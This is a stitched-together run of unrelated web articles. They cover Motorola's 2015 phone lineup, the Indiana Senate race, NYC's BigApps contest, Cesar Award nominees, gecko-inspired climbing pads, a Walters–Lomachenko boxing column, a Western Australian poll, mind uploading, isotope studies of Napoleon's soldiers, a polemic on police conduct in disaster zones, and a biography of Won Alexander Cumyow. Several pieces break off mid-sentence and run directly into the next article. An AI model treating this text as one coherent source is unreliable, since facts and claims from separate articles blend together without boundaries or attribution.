Android 5.1.1 Lollipop out of the box
$200 to $300 less than other flagships
Full Moto Maker customization with genuine wood and leather options
One of the other cool things about the Moto X Style is that there will be a “Pure Edition” of the device. This gives you a fully unlocked model that can be used on AT&T, Sprint, Verizon or T-Mobile with the simple action of swapping SIM cards or calling a carrier to get it activated. It’s a nice option for those who anticipate the need to jump from carrier to carrier down the line. It’ll be available through Best Buy, Amazon and Motorola, and will only be available in the United States.
Motorola has confirmed that the Moto X Style will be available starting in September, and the Pure Edition will start as low as $399.99.
Moto X Play
Next up is the Moto X Play, which takes things down a notch for those who want a capable smartphone for a bit cheaper. It might not be inaccurate to consider this a “Moto X 2.5” if the Moto X Style is to be considered a “Moto X 3.” That doesn’t make it a bad phone, though, especially since it’s expected to have a price tag to match its lesser specs:
5.5-inch full HD display
Qualcomm Snapdragon 615 octa-core chipset
2GB of RAM and 16 or 32GB of storage with microSD slot (up to 128GB)
3,630 mAh battery with Fast Charging
21 Megapixel rear camera
5 megapixel front camera
WiFi N, Bluetooth 4.0 LE, GPS and NFC
Front-facing speakers
148 mm tall, 75mm wide and curve of 8.9-10.9mm, weighs 169 g
$300 to $400 less than flagship smartphone
Full Moto Maker customization
The Moto X Play is available worldwide starting in August.
Moto G 2015
And then there’s the all new 2015 Moto G, which will be the first device in the line to get full Moto Maker customization. This budget offering provides a capable smartphone experience at a fraction of the price of a flagship. Here’s what you can expect under the hood:
5-inch 720p display
1.4GHz Quad-Core Snapdragon 410 processor
1GB or 2GB RAM, 8GB or 16GB of internal storage with microSD slot (up to 32GB)
4G LTE, WiFi N, Bluetooth 4.0 LE and GPS
Android 5.1 Lollipop
13MP rear, 5MP front cameras
2,470mAh battery
142.1 mm tall, 72.4 mm wide and a curve of 6.1 – 11.6mm, weighs 155g
IPX7 water resistance
Full Moto Maker customization
$400 to $500 cheaper than flagship phones
Unlike its bigger, more expensive and more powerful brothers, the Moto G 2015 is actually available as soon as today. You can head right here and start customizing yours in Moto Maker for a starting price of $179, and you can expect it to ship within the next couple of days.
Stay tuned
Hands-on, impressions, comparisons: all of it will be coming up shortly, and you won’t want to miss out. Be sure to stay tuned to Phandroid throughout the day to get more up-close and personal with these new phones ahead of their arrival!Rep. Todd Young (image via Facebook/ToddYoungIndiana)
Evan Bayh was expected to cruise to victory. Instead, Republicans are hopeful that Todd Young can defeat him.
South Bend, Ind. — At a time when many Republicans find little to be optimistic about, some hope that the Indiana Senate race will be a bright spot.
Republican representative Todd Young has made significant progress closing a more than 20-point deficit in the polls behind former senator and governor Evan Bayh in the race to replace retiring Republican senator Dan Coats. Bayh’s eleventh hour entry into the race made him the instant front-runner, but the two most recent public surveys put him ahead by just six points. Though that’s still quite a gap, Republicans here profess confidence that the race is trending their way. While the national environment threatens to drag down GOP Senate candidates |
affordable housing, zero waste, connecting cities, and civic engagement, each of which will receive $25,000, and two judge's choice winners, each of which will receive $10,000.
"This is not just about building apps, but how we engage the tech community, government, and New Yorkers in a process to improve their lives," said Springer.
This year, New York hosted 16 events focused on BigApps, with more than 1,200 attendees.
Winning BigApps doesn't mean that a given idea will work out in the long term. Some past winners of New York's contest, including Embark, HealthyOut, Ontodia and Poncho, have endured. Many others have not -- as is the case for many startups.
When asked about the longer-term sustainability issues that have plagued apps developed in these kinds of contests, Springer emphasized the endurance of apps like Hopscotch, which helps kids learn how to code, and HeatSeak, which is being installed in buildings across the city.
"It's shortsighted to think value can be measured by how far a particular winner has come," Springer said.
Springer also highlighted the positive impact of BigApps on the evolution of open government data in New York City -- that is, online city data that's structured and free to download and reuse.
"We'd like to think part of that has changed was somewhat inspired by BigApps," Springer said. 'To the extent that someone has a question that needs to be answered, now they don't have to go to door."
In that way of thinking, opening up data, reducing "data poverty" in communities, and applying it toward solving civic issues doesn't stop with an app.'12 Years a Slave,' 'Boyhood' and 'The Grand Budapest Hotel' are among the best foreign film nominees at the French Academy's 40th annual ceremony
France's Academy of Cinema Arts and Sciences announced the nominations for this year's Cesar Awards — the country's equivalent to the Oscars — in a morning ceremony at the famed Fouqet's restaurant on the Champs-Elysees.
Bertrand Bonello's Saint Laurent led with 10 nominations, including best film, best actor for Gaspard Ulliel and best director. The competing biopic Yves Saint Laurent from director Jalil Lespert received seven, including a nomination for best actor for Pierre Niney, though Lespert himself was left out.
The Oscar-nominated Timbuktu received eight, including the best film, director (for Abderrahmane Sissako) and original screenplay categories.
Thomas Cailley's Love at First Fight was the surprise of the morning, earning nine nominations for the director's first film, which was a hit when it debuted in Cannes Director's Fortnight sidebar.
Clouds of Sils Maria, which took home the prestigious Louis Delluc prize in December, earned six nominations, including best director for Olivier Assayas.
Academy president Alain Terzian read the list of nominees after lauding the 40th anniversary of the awards. Among this year's nominees are Kristen Stewart in the supporting actress category for her role in Sils Maria and best actress nominees Marion Cotillard (Two Days, One Night), Catherine Deneuve (In the Courtyard) and Juliette Binoche (Sils Maria).
Read more France 2014 in Review: Cannes Controversy, Netflix Launches
The nominees for best foreign film were 12 Years a Slave, Boyhood, Ida, The Grand Budapest Hotel, Two Days, One Night, Cannes jury prize winner Mommy and Palme d'Or winner Winter Sleep.
Sean Penn will receive the Academy's honorary Cesar this year, organizers announced Monday. Alain Resnais will get a tribute at the awards ceremony.
The 40th annual awards will be held on Feb. 20 — just two days ahead of the Oscars — at Paris' Chatelet Theatre. Beloved comedian Dany Boon will serve as chairman of the ceremony, with Edouard Baer set to host the show after Laurent Lafitte canceled for scheduling reasons.
Here are nominees in some key categories:
Best Film
Love at First Fight
Eastern Boys
The Belier Family
Hippocrates
Saint Laurent
Sils Maria
Timbuktu
Best Director
Celine Sciamma for Girlhood
Thomas Cailley for Love at First Fight
Robin Campillo for Eastern Boys
Thomas Lilti for Hippocrates
Bertrand Bonello for Saint Laurent
Olivier Assays for Sils Maria
Abderrahmane Sissako for Timbuktu
Best Actress
Juliette Binoche for Sils Maria
Marion Cotillard for Two Days, One Night
Catherine Deneuve for Dans la Cour
Emilie Dequenne for Not My Type
Adele Haenel for Love at First Fight
Sandrine Kiberlain for Elle l’Adore
Karin Viard for The Belier Family
Best Supporting Actress
Marianne Denicourt for Hippocrates
Claude Gensac for Lulu in the Nude
Izia Higelin for Samba
Charlotte Le Bon for Yves Saint Laurent
Kristen Stewart for Sils Maria
Best Actor
Niels Arestrup for Diplomatie
Guillaume Canet for Next Time I’ll Aim for the Heart
Francois Damines for The Belier Family
Romain Duris for The New Girlfriend
Vincent Lacoste for Hippocrates
Pierre Niney for Yves Saint Laurent
Gaspard Ulliel for Saint Laurent
Best Supporting Actor
Eric Elmosnino for The Belier Family
Guillaume Gallienne for Yves Saint Laurent
Louis Garrel for Saint Laurent
Reda Kateb for Hippocrates
Jeremie Renier for Saint Laurent
Best Original Screenplay
Thomas Cailley, Claude le Pape for Love at First Fight
Victoria Bedos, Stanislas Carre de Malberg, Eric Lartigau and Thomas Bidegain for The Belier Family
Thomas Lilti, Baya Kasmi, Julien Lilti and Pierre Chosson for Hippocrates
Oliver Assayas for Sils Maria
Abderrahmane Sissako, Kessen Tall for Timbuktu
Best Adapted Screenplay
Mathieu Almaric, Stephanie Cleau for The Blue Room
Cyril Gely, Volker Schlondorff for Diplomatie
Solveig Anspach, Jean-Luc Gaget for Lulu in the Nude
Lucas Belvaux for Not My Type
Cederic Anger for Next Time I’ll Aim for the Heart
Best Costume
Pierre-Yves Gayraud for The Beauty and the Beast
Carine Sarfati for The Connection
Anais Romand for Saint Laurent
Pascaline Chavanne for The New Girlfriend
Madeline Fontaine for Yves Saint Laurent
Best Set Decoration
Thierry Flamand for The Beauty and the Beast
Jean-Philippe Moreau for The Connection
Katia Wyszkop for Saint Laurent
Sebastian Birchler for Timbuktu
Aline Bonetto for Yves Saint Laurent
Best Cinemaphotography
Christophe Beaucarne for The Beauty and the Beast
Josee Deshaies for Saint Laurent
Yorick le Saux for Sils Maria
Sofian el Fani for Timbuktu
Thomas Hardmeier for Yves Saint Laurent
Best Editing
Lilian Corbielle for Love at First Fight
Christel Dewynter for Hippocrates
Frederic Baillehaiche for Party Girl
Fabrice Rouad for Saint Laurent
Nadia Ben Rachid for Timbuktu
Best Sound
Pierre Andre and Daniel Sobrino for Girlhood
Jean-Jacques Ferran, Nicolas Moreau, Jean-Pierre Laforce for Bird People
Jean-Luc Audy, Guillaume Bouchateau, Niels Barletta for Love at First Fight
Nicolas Cantin, Nicolas Moreau, Jean-Pierre Laforce for Saint Laurent
Philippe Welsh, Roman Dymn, Thierry Delor for Timbuktu
Best Animated Film
Le Chant de la Mer
Jack and the Cuckooclock Heart
Miniscule
Best First Film
Love at First Fight by Thomas Cailley
Elle l’Adore by Jeanne Herry
Fidelio by Lucie Borleteau
Party Girl by Marie Amachoukeli, Claire Burger and Samuel Theis
May Allah Bless France by Abd al Malik
Best New Actress
Lou de Laage for Breathe
Louane Emera for The Belier Family
Josephine Japy for Breathe
Ariane Labed for Fidelio
Karidja Toure for Girlhood
Best New Actor
Kevin Azais for Love at First Fight
Ahmed Drame for Les Heritiers
Kirill Emelyanov for Eastern Boys
Pierre Rochefort for Going Away
Marc Zinga for May Allah Bless FranceBy being "clever about how you distribute weight," Hawkes shows that yes, a human being can climb a glass wall. The Stanford design uses a process that spreads weight evenly across the entire patch, making it efficient enough for a person to cling to a glass wall. There are 24 adhesive tiles on each pad, each covered in tiny sawtooth-shaped nanofibers (check them out working on Stanford's gecko-inspired StickyBot back in 2006) that do the actual work of sticking, but can unstick themselves when you pull them away in the correct direction.
The real magic that makes this device do what gecko pads alone cannot, is the depressive springs on the back of each tile, which help keep all the pressure spread equally. The shape-alloy springs work differently from regular springs, getting softer as you stretch them.
As you can see in the video, Hawkes may not be moving with the grace or speed of your imagined webslinger, but human wall-crawling can be done (slowly and carefully). The team claims its tech can theoretically scale up to hold as much as 2,000 pounds.by David P. Greisman
Nicholas Walters ran out of goodwill well before he stepped into the ring with Vasyl Lomachenko. That is a significant reason why he is enduring so much criticism for the way his fight with Lomachenko ended.
We expected much more from Walters in the two years since he burst onto the scene.
We wanted much more out of his bout with Lomachenko.
And his critics wanted much more from him than to call it a night after seven rounds. Walters knew he was losing the fight, and he either felt he had no chance of changing that — or he no longer had enough desire to keep trying to change it.
He was beaten mentally more than he was physically.
He was beaten mentally because he was physically outmatched.
Lomachenko was too fast, too skilled, too much for Walters to overcome, especially when Walters could only do so much — or, rather, so little.
Walters could barely hit Lomachenko. He rarely had much of a target. Lomachenko’s movement was speedy and tricky, a master of a craft refined over the course of nearly 400 amateur fights, only one of which ended in a loss, and who had won two Olympic gold medals and two amateur world championships and had since gone on to capture two pro world titles.
Lomachenko boxed figurative circles around Walters. Even once he stopped moving and seemed as if he was finally in range, Lomachenko would easily move away from or block most of what Walters threw.
In the fourth round, Walters sent out a jab at where Lomachenko’s head had just been. It missed by more than a foot. Lomachenko had moved to his right and diagonally, moving so far and so soon that Walters’ follow-up shot, a right cross, literally crossed his own body in a futile and feeble attempt at tracking and catching Lomachenko.
As the fifth round came to an end, Lomachenko feinted forward motion at Walters twice, then stood still, tacitly taunting Walters to try to come at him. Walters was so fully demoralized that he just stood there as well, letting the clock tick its final seconds away.
Walters did have the occasional body shot land, and a couple blows to the head that had no effect. That was it. That was a shock to his senses. Fighters in his position are so used to being so much better than their opponents. Walters couldn’t even compete with Lomachenko. This was an unfamiliar place for a fighter who’d not yet lost in the pro ranks, whose nickname of “Axe Man” referenced the fact that he had felled 21 foes in his 26 wins.
But through six, Walters had only landed 44 punches out of 230 thrown, a paltry connect rate of 19.1 percent, less than one shot out of every five hitting its target, according to CompuBox. That was an average of just seven landed punches per round, barely 33 thrown every three minutes.
His vaunted power? There had been only 86 power punches thrown through six, about 14 per round, five per minute. Just 29 of them had landed, less than five per round.
The seventh round was even worse.
Walters was credited with being just 5 of 34, including 4 of 24 with his power shots. Lomachenko, meanwhile, had moved his way inside and found even greater success there. He cranked up his activity, throwing 90 punches, landing 30, with 24 of them coming as power shots. He had undone Walters with defense, but his hand speed had also posed a threat throughout, and now he was pouring it on, rubbing it in.
Walters returned to his corner deflated, defeated and done.
“He was catching me clearly in the last round. I barely made it through the last round,” Walters said afterward in an interview with BoxingScene’s Radio Rahim. “I was out of range. I wasn’t finding my range. He was getting better and better each round. And then in the seventh round, he caught me with good body shots and he caught me with good head shots. My corner decided it would be stupid to go out there.”
Walters didn’t appear to be badly hurt, despite what he said afterward. Only he and those close to him will know for sure. He wasn’t visibly shaken enough to placate those who expect fighters to go out on their shields or at least continue until it no longer makes sense for them to go on. Walters’ decision was based on a realization and then a calculation — I can’t hit this guy, and he can now hit me whenever he wants.
He knew it hadn’t been his night thus far. He believed it was never going to be, that it was pointless to attempt to land a fight-changing shot, especially if it meant taking punishment that was far more certain.
That’s a boxer’s prerogative. He’s the one whose head and body are being hit. Fair or not, that decision is one that invites derision. Instead of waiting to see if stronger hands would make a difference, he folded altogether, then walked away from the table instead of going all-in, or rather all-out in desperation.
The first and only loss on Walters’ record came against one of the best boxers in the world. That in and of itself shouldn’t be a big deal.
But it was a disappointing ending after two years of disappointment.
Walters was little-known before 2014 except among hardcore boxing fans. Then he knocked out the faded Vic Darchinyan on the undercard of Nonito Donaire’s bout with Simpiwe Vetyeka. And then he stopped Donaire on an HBO card in October of that year.
That win should’ve propelled Walters. Instead, his next fight was delayed by an illness. Then, when it did happen, Walters came in overweight on the scales, defeating Miguel Marriaga by decision but dropping his world title. He moved up from featherweight to junior lightweight, facing Jason Sosa last December and getting robbed on the scorecards, held to a draw by judges who saw the action as much closer than most observers did. The performance looks even better in retrospect now that Sosa has gone on to accomplish more.
Walters had a chance to move beyond that. He was offered a fight with Lomachenko for a card this past June. But, maddeningly, he turned it down.
“Lomachenko is one of the better opponents that we’re gonna fight. We asked for a certain amount; they said no,” Walters said in an interview with RingTV.com in May. “They said only $550,000 was available for the fight, and I think fighting Lomachenko for $550,000 with the tax we’re gonna pay to the government and everybody, we actually go home with nothing. We took the decision; we’re not gonna fight for $550,000.”
But his promoter, Top Rank, which also handles Lomachenko, said there was no more money available from HBO. Walters sat out. Lomachenko fought Roman Martinez instead, scoring an easy knockout and winning a world title. Walters hadn’t fought at all in 2016 until this past Saturday, done in by his decision as well as HBO’s budget constrictions leading to fewer dates and tighter spending.
He finally took the Lomachenko fight — for less money — because something was better than nothing, and because of the opportunities that would be available were he to win.
Beating Lomachenko would be a difficult challenge, though, and particularly so given that Walters hadn’t been in the ring for 11 months.
“A layoff won’t even bother me,” Walters said shortly beforehand. “I wouldn’t even take the fight if I didn’t think that I was gonna be ready for the fight.”
Fighters will almost always sound optimistic before a fight. Their tunes tend to change after a loss.
“The inactivity played a toll on my body,” Walters said afterward, saying his control of range and timing weren’t there. “Everything was off tonight.”
It’s possible. It’s more likely that Lomachenko made Walters feel that way.
Now Walters must overcome his first pro defeat. Being in a packed division is a blessing and a curse. There are options available. Those options also have other options. He’ll need to hope for opportunities. He’ll likely have to take short money in order to get one.
He didn’t do himself any favors with the way he went out this past Saturday. He hadn’t done himself any favors beforehand either.
He’s suffered more damage from those choices than he did in the fight.
“Fighting Words” appears every Monday on BoxingScene.com. Pick up a copy of David’s book, “Fighting Words: The Heart and Heartbreak of Boxing,” at http://bit.ly/fightingwordsamazon or internationally at http://bit.ly/fightingwordsworldwide. Send questions/comments via email at [email protected]LESS than half of West Australians are satisfied with the McGowan Government’s performance, an exclusive poll for The Sunday Times shows.
The Galaxy Poll shows 48 per cent of voters were satisfied with the Labor Government, while 35 per cent were not and 17 per cent were uncommitted.
The findings come four months after Labor’s historic landslide victory and signal an end to Premier Mark McGowan’s post-election “honeymoon period”.
The poll, conducted on July 26 and 25 and based on the opinions of 850 WA residents, asked: Are you satisfied or dissatisfied with the performance of Mark McGowan’s Labor Government in that time?
It showed while 71 per cent of Labor voters were satisfied with the Government’s performance, 16 per cent were not and 13 per cent were uncommitted.
Thirty-five per cent of Coalition supporters were satisfied, while 47 per cent were not and 18 per cent were uncommitted.
The results follow a tough few months for Mr McGowan and his government who inherited a set of books which showed State debt was rocketing towards $40 billion and a Budget forecast to be in deficit for years to come.
Since winning power, the government has implemented a number of controversial strategies, such as limiting pay rises for public servants to $1000 a year and increasing power charges by 10.9 per cent.
Mr McGowan yesterday remained unapologetic about his government’s tough stance heading to the September 7 budget.
“West Australians elected my government to get on with the job and fix the mess left behind,” he said.
“This is exactly what we are doing, with our focus on creating jobs, delivering on our election commitments and repairing the State’s finances.
“People understand the difficult task ahead — turning around the State’s finances and getting the WA economy back on track.
“We have had to make tough decisions to help pay for the Liberals’ and Nationals’ out-of-control spending.
“With over $5 billion in revenue written down since the election, fixing the mess we inherited will take time.
“We weren’t elected to sit on our hands and do nothing, we’re getting on with the job and there is renewed confidence in the WA economy.”
Respected political analyst Dr Harry Phillips said Labor’s convincing victory provided the Government with a mandate to reduce debt.
As reported last weekend, the poll also showed support for Federal Liberals had collapsed 10 percentage points and predicted WA ministers Michael Keenan, Christian Porter and Ken Wyatt would lose their seats at the next election.One of the most mind-bending far future predictions you’ll hear from some futurists is this: Eventually, the technology will exist to copy your brain (every bit of data that makes you, you) onto a computer.
Technical details and exact predictions aside (the concept is still firmly science fiction) mind uploading makes for a fascinating and disturbing thought experiment. If you had the power to upload yourself, would you?
Living in a computer might not be so bad. We’d likely be able to make the digital realm a really nice place for our digital selves. All the enjoyable parts of life would still be available (and more). Think the Matrix without robot overlords or glowing pods of goo. Which is a central point. We wouldn’t have bodies in need of goo anymore.
Separated from a body doomed to slow down, break, get diseases, and eventually die, the only limit on this new digital existence would be the health of the computer itself. And not just a single machine. Our information could be spread over a vast network of computers, independent of any one. We could live as long as we like.
Sounds like a good deal right? Sure. But here’s where it gets a little squirrelly.
Let’s say I opt to upload my mind to a computer: Would it be me that wakes up online? Or would it be a facsimile, perfect in every way except one—that it isn’t me. That is, if I’m still alive, I don’t suddenly have a split-screen sense of “me-ness.” And if I’m dead, well, that’s it. I’m just dead. Even though the digital facsimile goes on living.
I’ve not read a completely convincing argument one way or the other. This is partly because we don’t have a clear scientific theory to explain what gives us our sense of “me-ness.” It’s still a mystery. But the topic has been long discussed in philosophy, and Tim Urban has a great post on the subject. I highly recommend it.
Also, I imagine some of you have thought about this in depth. (Star Trek fans, I’m looking at you.)
In any case, for the more visually inclined, here’s a great science fiction short film on the topic: “The Final Moments of Karl Brant.” Few things beat philosophy and sci-fi on a lazy Sunday. Enjoy!
Image Credit: gregw/FlickrAs snow lashed across their faces, archaeologists quickly excavated a mass grave in Vilnius, Lithuania. The jumbled bones, haphazardly oriented, were punctuated with finds of shoes and clothing. Buttons revealed the identity of the dead: over 40 different regiments were represented, all from Napoleon’s Grande Armée. Archaeologists had found the final resting place of over three thousand men who perished during Napoleon’s retreat from Moscow in 1812. Now, new chemical analyses of the bones are revealing where these soldiers hailed from and just how difficult it was to find enough to eat.
Napoleon’s exploits are well-known from history. In an attempt to prevent invasion of Poland by Russian Czar Alexander I, Napoleon decided to invade Russia first. He started out with around 675,000 men who came from all over Europe; French, Germans, Polish, Lithuanians, Spanish, and Italians, however, made up the majority. This Grande Armée dwindled on its advance to Russia, then retreated when the czar refused to surrender and there were no supplies for the army in Moscow. By the time the army got to Smolensk, Russia, there were just 41,000 soldiers remaining. Charles Minard, a 19th century engineer who pioneered the creation of infographics, famously depicted just how treacherous this campaign was and what the loss of life looked like.
The Grande Armée continued west, crossed the Beresina River, and arrived in Vilnius. But there was little to eat there either. Around 20,000 soldiers died in Vilnius of hypothermia, starvation, and typhus. Corpses were thrown into mass graves. One of these, containing the remains of at least 3,269 people, was excavated by bioarchaeologist Rimantas Jankauskas and his team in just one month in 2001. Bodies were packed seven to a square meter, tossed in with clothing and other items. Based on the bones, archaeologists found that almost all the dead were males, with the exception of two dozen females, and that most were in their 20s at death.
Two new research studies on these remains have attempted to answer questions about soldiers’ homelands and their diet leading up to their deaths. University of Central Florida anthropology students Serenela Pelier and Sammantha Holder, under the direction of UCF bioarchaeologist Tosha Dupras, performed stable isotope analyses on samples of the remains. Pelier used oxygen isotopes to find out the geographical origin of nine of the skeletons, while Holder used carbon and nitrogen isotopes to learn about diet and starvation.
Pelier took samples from the femur of eight males and one female for oxygen isotope analysis. Oxygen isotopes in the biosphere vary depending on factors like humidity, distance from the sea, and elevation. By measuring the oxygen isotopes in human bone, it is possible to learn whether that individual was born in a particular geographic area. Pelier found that none of the individuals she tested had oxygen values that would be expected for Vilnius; no one was local. Based on the much higher oxygen values, they were more likely from central and western Europe, with three individuals possibly from the Iberian peninsula and one who may have participated in an African campaign before the Russian one. Additionally, the one woman who was tested may have hailed from southern France.
Holder also took samples from the femur of 73 males and three females buried in the mass grave, and she performed an analysis of the stable carbon and nitrogen isotopes in the bone. While carbon isotopes provide information mainly about the carbohydrate portion of the diet, nitrogen isotopes can give data on the protein component. Holder found that most of Napoleon’s soldiers were eating plants like wheat, while a few may have come from areas like Italy where more millet was consumed. The carbon isotopes did not hold any surprises.
But Holder was much more interested in the nitrogen isotopes. More than two dozen of the people she sampled had high nitrogen values. Often, this is an indication that someone was eating high on the food chain, as nitrogen levels are higher in carnivorous animals compared to herbivores. Holder suspected, though, that something else was going on with these soldiers. When the human body is deprived of protein, nitrogen isotope values can skyrocket. So conditions like anorexia, prolonged morning sickness, vitamin D deficiency, and starvation can cause an increase in nitrogen signatures.
Napoleon’s men were not in good health, even before their ill-fated stop in Vilnius. Research on the teeth of the soldiers in the mass grave showed rampant dental cavities and indications of stress during childhood, and over one-quarter of the dead had likely succumbed to epidemic typhus, a louse-borne disease. A febrile illness like typhus could cause increased loss of body water through urine, sweat, and diarrhea, which may also cause a rise in nitrogen isotopes. And, of course, historical accounts detail how troops fruitlessly scoured the countryside for food and how many of them ate their dead or dying horses.
What caused the high nitrogen values among the Grande Armée? It could be the result of consumption of marine resources, from pathological conditions, or from starvation – or even from a combination of these. While the soldiers were not getting seafood from frozen Vilnius, I wondered about preserved fish and asked historian Max Owre, executive director of humanities at the University of North Carolina at Chapel Hill, about the provisioning of the army. “There was no large scale tinning of goods,” Owre says, which means that “it’s possible that soldiers could have carried saltied, dried cod, but more likely they were simply starving.” The carbon isotope values also help rule out seafood consumption, as they are more negative than the typical range for marine-based diets. This leaves illness or lack of food.
“The prolonged periods of starvation possibly stem from career-long military service in numerous campaigns throughout the Napoleonic Wars,” Holder writes, “or from nutritional stresses prior to military conscription.” Although she admits she cannot say definitively what the cause of the elevated nitrogen values was, Holder notes that, given all the available evidence from historical records and previous studies, the “nitrogen enrichment is most likely the result of prolonged nutritional stress.”
Both Pelier and Holder tested the bones of women as well as men. But why would there have been women in a mass grave of Napoleonic soldiers? Owre told me that “there were plenty of camp followers as well as official woman cantinières and vivandières who sold goods to the troops. This woman from southern France would likely have been one of these or a follower. Some wives did tag along.” Finding the remains of women in this mass grave means archaeologists can add to the historical record, which largely glosses over women’s experiences in this war.
Studies of the bones of Napoleon’s soldiers are key evidence in finding out what really happened in the Russian Campaign. Owre tells me that a large amount of pro-Napoleon scholarship places the blame for massive troop death on the cold Russian winter. But, he points out, “military logistics at the time were incapable of supporting an army this size, even considering that living off the land—stealing from locals—was the modus operandi of Napoleon’s armies and his enemies by this point.” If Holder is right that the elevated nitrogen signatures represent starvation, this “would be another piece of evidence for the failure of the Russian campaign,” Owre concludes.
The members of Napoleon’s Grande Armée who perished in Vilnius in the winter of 1812 are now in a new burial location: the Antakalnis Military Cemetery, where they rest with other war heroes. Bone samples that have been preserved, however, may yet yield additional information about the short lives and tragic deaths of these young men and women.
To read more about this mass grave and the biochemical analyses of the skeletons, see: Pelier, S.M. 2015. Stable isotope evidence for the geographic origins and military movement of Napoleonic soldiers during the march from Moscow in 1812. Holder, S. 2013. Interpreting diet and nutritional stress in Napoleon’s Grand Army using stable carbon and nitrogen isotope analysis. Signoli, M. et al. 2004. Discovery of a mass grave of Napoleonic period in Lithuania (1812, Vilnius). C. R. Palevol 3:219-227.William N. Grigg
Pro Libertate
June 24, 2008
Breaking and entering: Where does this fit under the heading "To protect and serve"? A paramilitary "strike team" commits a felonious break-in of a home in the flood-ravaged Midwest.
Digging up the planted axioms that litter our ordinary conversations can be a revealing exercise. We learn how deeply rooted our supposedly free society has become in collectivist and militarist assumptions.
For example: How often do we hear or read language that draws a distinction between "police" and "civilians"?
Our republican framework of government supposedly prohibits the use of the military in domestic law enforcement. Yet if a police officer isn’t a civilian, he of necessity must be considered some variety of soldier: He bears arms, belongs to a force organized in a military hierarchy, issues orders, and expects immediate obedience to his demands.
Police are supposedly civilian "peace officers," distinguished from the rest of the citizenry (to paraphrase Robert Peel) only by the fact that they are specially charged to protect the rights and property of the innocent as a permanent assignment, rather than an occasional necessity.
Yet when non-professional police officers are given "law enforcement" duties by local governments — as in Gilbert, Arizona, where such people are part of a unit that can issue traffic citations and investigate accidents — they are referred to as "civilian auxiliaries" of police departments. Again we see the critical distinction: The regular police are something other than civilians.
Roughly a year ago, USA Today reported that the wars in Iraq and Afghanistan had created a shortage of ammunition, leaving police and "civilians" at the back of the line. Annual police awards ceremonies across the country routinely honor not only law enforcement officers but "civilians" for various distinguished acts.
Cultivating a new crop of "law enforcement" officers: Teenagers participating in a summer police training program receive instructions from SWAT operators at a firing range.
And, significantly, it is very common for "civilians" to be charged with "disobeying an officer" even when no other alleged offense is involved. That charge makes little sense unless it is assumed not only that police exercise authority akin to military personnel, but that common civilians are at the bottom of the hierarchy. Were this actually a country in which governments and their enforcement agencies derive their just powers from the consent of the governed, wouldn’t it be possible to charge a police officer with "disobeying a citizen"?
As I mentioned above, these assumptions are usually buried and carefully ignored. But they are rudely exposed whenever crisis descends on a community and the familiar pretenses are blown away. Catastrophic natural disasters such as Hurricane Katrina or this year’s Midwestern floods are eagerly embraced by law enforcement agencies as a pretext for overtly exercising the kind of power that many of them covertly lust to employ all the time — the power to regiment their communities at gunpoint under a form of martial law.
Think, once again, of the roots of that expression: "Martial" has its origin in the proper name Mars, referring to the pagan deity of — what activity?
The term unmistakably refers to a military posture, or a state of war. It is the suspension of normal life via force majeure, resulting in rule by unalloyed force. And the capacity for rule of this kind is embedded in every law enforcement body in every community across the country, simply waiting for an excuse to manifest itself.
Many who reside in our flood-ravaged Midwest are learning, as residents of New Orleans did before them, that our paramilitary "protectors" will eagerly exploit disasters in ways that compound the suffering inflicted by a natural disaster. Many citizens in such circumstances prefer to stay in their homes, running their own risks in order to protect what is theirs. But it is
standard operating procedure for police — aided, at times, by National Guardsmen — to force such people out of their homes, and to use the force of arms to prevent those who have left from returning.
In the wake of the floodwaters in Iowa came all of the impedimentia of military occupation — armed guards, checkpoints, detention areas. These strictures were imposed on communities already reeling from a deadly caprice of nature. Rather than permitting people to inspect their own property, "strike teams" that included armed police broke into locked homes, including the occasional occupied dwelling.
One Cedar Rapids homeowner, understandably outraged that a "strike team" had broken into his otherwise undamaged home, confronted them and made his feelings known in forceful but measured terms. This prompted police officer Josh Bell to threaten the homeowner with arrest for "harassing" the "strike team."
The business end of government "compassion": Armed "protectors" arrest Cedar Rapids homeowner Ricky Blazek at gunpoint.
That aggravated homeowner was relatively fortunate.
Fellow Cedar Rapids resident Ricky Blazek, one of several thousand flood victims reasonably infuriated by "checkpoints" preventing them from returning to their homes, tried to circumnavigate one such roadblock in his automobile. This resulted in Blazek being forced out of his car at gunpoint and arrested.
While the armed "strike teams" had unfettered access to homes of flood victims, and the media was given limited access in order to chronicle the supposed heroism of the government functionaries, homeowners basted in a seething broth of frustrated suspicion.
After all, would any thinking person feel secure knowing that government agents, freed by a natural disaster from the constraints of the pesky Fourth Amendment, had free rein to break into their homes and help themselves to anything they found therein?
Greensburg, Kansas.
Last year, the small town of Greensburg, Kansas was all but obliterated by a tornado of a ferocity not seen in the region since Dorothy Gale’s house was rapted away to Oz and deposited rudely on top of Hillary Clinton’s long-forgotten sister.
That’s certainly more than enough for any town to suffer. However, the police establishment, displaying government’s infallible gift for compounding tragedy, made matters immeasurably worse by barring residents from their homes and then selectively looting them for firearms (and, in some cases, jewelry and other valuables).
Gun Week reports that these thefts were made possible because officers "from various agencies" — local and state police, the Kansas Bureau of Investigation, FEMA, and the ATF — "allegedly claimed that martial law had been imposed when it had not, and ordered all residents to leave the town."
Those residents who discovered the thefts and demanded the return of their firearms found them, in many cases, damaged to the point of being useless. A few opened gun cases only to discover that their firearms had been replaced with guns of inferior quality.
Bob Martin, an 83-year-old trap shooter, returned to his home the morning after the tornado to discover that several of his guns were missing. Like Ricky Blazek, Martin was originally barred access to his home by |
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RetailMeNot also bought ZenDeals.com in 2013 and Giftcard Zen, a secondary gift card market in 2016.As a young man
Won Alexander Cumyow (traditional Chinese: 溫金有; simplified Chinese: 温金有; pinyin: Wēn Jīnyǒu; Wade–Giles: Wen Chin-yu) was an early Chinese Canadian public servant and community leader. Born 1861 March 17 or February 14 in Port Douglas, British Columbia (at the north end of Harrison Lake, at the start of the Douglas Road to Lillooet, British Columbia during the Fraser Canyon Gold Rush), Won Cumyow was the oldest son of Won Ling Sing, a Hakka-speaking store and restaurant owner who had emigrated in 1858 from China to San Francisco and later to Port Douglas.[1] Won Cumyow was the first person of Chinese descent known to have been born within the boundaries of present-day Canada (British Columbia being a colony in 1861). He attended high school in New Westminster and became a court interpreter (1888)[2] and labour contractor. He was an interpreter in the Vancouver police court from 1904 to 1936, speaking English, Cantonese, Hakka, and also the Chinook Jargon which he had learned as a child at Port Douglas. He studied law, even articled, but was not permitted a license because, being Chinese, he was denied the vote.
